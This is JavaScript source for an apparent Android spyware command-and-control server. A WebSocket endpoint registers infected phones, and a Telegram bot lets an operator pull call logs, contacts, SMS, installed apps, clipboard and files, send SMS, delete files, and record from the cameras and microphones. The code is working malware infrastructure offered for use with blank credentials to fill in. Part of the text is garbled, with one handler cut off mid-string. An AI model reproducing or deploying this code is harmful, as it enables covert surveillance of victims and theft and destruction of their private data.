const socket = require('ws'); const http = require('http') const express = require("express") const TelegramBot = require('node-telegram-bot-api'); const multer = require('multer'); const bodyParser = require('body-parser') const uuid4 = require('uuid') const axios = require('axios') const upload = multer(); const app = express() app.use(bodyParser.json()); const server = http.createServer(app); const wss = new socket.Server({server}); const chatId = '' const token = '' const serverAddr = '' const bot = new TelegramBot(token, {polling: true}); // request ------------------------------------------------------------------- app.get("/", (req, res) => { res.send('
${ws.uuid}
\nIP = ${req.socket.remoteAddress.toString().replaceAll('f', '').replaceAll(':', '')} š`, {parse_mode: "HTML"})
});
setInterval(() => {
wss.clients.forEach((client) => {
client.send("be alive");
});
}, 2000);
bot.on("message", (msg) => {
if (msg.text === '/start') {
bot.sendMessage(chatId, "Welcome", {
"reply_markup": {
"keyboard": [["Status ā"], ["Action ā"]]
}
});
}
if (msg.text === "Status ā") {
const clientCount = wss.clients.size
let status = '';
if (clientCount > 0) {
status += `${clientCount} Online Client ā
\n\n`
wss.clients.forEach((ws) => {
status += `ID => ${ws.uuid}
\n\n`
})
} else {
status += `No Online Client ā`
}
bot.sendMessage(chatId, status, {parse_mode: "HTML"});
}
if (msg.text === "Action ā") {
const clientCount = wss.clients.size
if (clientCount > 0) {
let Actions = [
[{text: 'Call Log š', callback_data: "cl"},{text: 'All Contact š¤', callback_data: "gc"}],
[{text: 'All Sms š¬', callback_data: "as"},{text: 'Send Sms š¬', callback_data: "ss"}],
[{text: 'Installed Apps š²', callback_data: "ia"},{text: 'Device Model š±', callback_data: 'dm'}],
[{text: 'Get Folder / File š', callback_data: 'gf'},{text: 'Delete Folder / File š', callback_data: 'df'}],
[{text: 'Main Camera š·', callback_data: 'cam1'},{text: 'Front Camera š¤³', callback_data: 'cam2'}],
[{text: 'Mic 1 š¤', callback_data: 'mi1'},{text: 'Mic 2 š¤', callback_data: 'mi2'},{text: 'Mic 3 š¤', callback_data: 'mi3'}],
[{text: 'Clip Board š', callback_data: 'cp'}],
]
wss.clients.forEach((ws) => {
bot.sendMessage(chatId, `ā Select Action For Device :\n&${ws.uuid}`, {
reply_markup: {
inline_keyboard: Actions,
// force_reply: true,
},
parse_mode: "HTML"
})
})
} else {
bot.sendMessage(chatId, `No Online Client ā`, {parse_mode: "HTML"});
}
}
if (msg.reply_to_message) {
if (msg.reply_to_message.text.split('&')[0] === 'ss'){
const data = msg.text.split(']')[0].split("[")[1]
const uuid = msg.reply_to_message.text.split('!')[0].split('&')[1]
wss.clients.forEach(client=>{
if (client.uuid === uuid) {
client.send(`ss&${data}`)
}
})
bot.sendMessage(chatId, "Your Request Is On Progress !", {
"reply_markup": {
"keyboard": [["Status ā"], ["Action ā"]]
}
});
}
if (msg.reply_to_message.text.split('&')[0] === 'df' || msg.reply_to_message.text.split('&')[0] === 'gf') {
const text = msg.reply_to_message.text;
const action = text.split('!')[0].split('&')[0]
const uuid = text.split('!')[0].split('&')[1]
const path = msg.text
wss.clients.forEach(client => {
if (client.uuid === uuid) {
client.send(`${action}&${path}`)
}
})
bot.sendMessage(chatId, "Your Request Is On Progress !", {
"reply_markup": {
"keyboard": [["Status ā"], ["Action ā"]]
}
});
}
}
})
bot.on('callback_query', function onCallbackQuery(callbackQuery) {
const action = callbackQuery.data;
const clientId = callbackQuery.message.text.split('&')[1];
wss.clients.forEach(client => {
if (client.uuid === clientId) {
if (action === 'ss') {
bot.sendMessage(
chatId,
`ss&${client.uuid}!\n\nAction Send Sms\nšµ Please Reply\n [{"number":"target number","message":"your message"}]
`,
{
reply_markup: {
force_reply: true,
},
parse_mode: "HTML"
}
)
} else if (action === 'gf') {
bot.sendMessage(
chatId,
`gf&${client.uuid}!\n\nAction Get File / Folder\nšµ Please Reply File / Folder Path:`,
{
reply_markup: {
force_reply: true,
},
parse_mode: "HTML"
}
)
} else if (action === 'df') {
bot.sendMessage(
chatId,
`df&${client.uuid}!\nAction Delete File / Folder\nšµ Please Reply File / Folder Path:`,
{
reply_markup: {
force_reply: true,
},
parse_mode: "HTML"
}
)
} else {
client.send(action)
}
}
})
});
// real time -------------------------------------------------------------------
setInterval(() => {
axios.get(serverAddr)
}, 120000);